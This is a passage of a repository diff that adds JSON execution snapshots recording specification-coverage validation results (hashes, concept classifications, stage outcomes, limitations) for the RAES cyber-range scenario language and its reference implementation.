}, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d86459ed0fb7f5cd5ab89bbf581da753c7bfd9b3f2b91503fd23356427c9879c", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ed351205979c8a80e10962146cc95f8a4019c593459d9e32b4f65aa0aca91f7f", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "ddf2cd2a7b46f895ea1a845bad7e90db1f05b2ef6abce3789b20ebb1698c7c7f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "2ed2d97cee641419912dfd2e4e2e4b0c9c61f35e", + "snapshot_id": "raes-standardized-specification-coverage-issue-959-v20", + "snapshot_revision": "20.0.0", + "source_state": { + "base_revision": "2ed2d97cee641419912dfd2e4e2e4b0c9c61f35e", + "checkout_state": "modified", + "implementation_digest": "4dcfb6153100f2000b027ca378e4c22adcb84fd03fc3ad84474fee435e13ee37", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v21.json b/docs/research/specification-coverage/execution-snapshot-v21.json new file mode 100644 index 000000000..2417522bc --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v21.json @@ -0,0 +1,686 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T04:13:34.240813+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "f572d71709d0ed54616077706454d53e9947eeaaa568a91616b582d0b7af23c5", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "98503c81c78137711463b57912beafc38b8ceac8d201da60b15fcca880449613", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "ddf2cd2a7b46f895ea1a845bad7e90db1f05b2ef6abce3789b20ebb1698c7c7f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "Evidence-requirement refinement lineage is covered by the EXP-731 regression suite, not a new claim in this preregistered matrix." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "67f041796b28e8d158932f39bfef7a49444f3a73", + "snapshot_id": "raes-standardized-specification-coverage-issue-341-v21", + "snapshot_revision": "21.0.0", + "source_state": { + "base_revision": "67f041796b28e8d158932f39bfef7a49444f3a73", + "checkout_state": "modified", + "implementation_digest": "732a58e79daa0d3491375de03b24f9c1fdcecd1da287031da2e6d4eedc5e7e34", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v22.json b/docs/research/specification-coverage/execution-snapshot-v22.json new file mode 100644 index 000000000..029e8b3a4 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v22.json @@ -0,0 +1,686 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T06:27:14.410933+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": 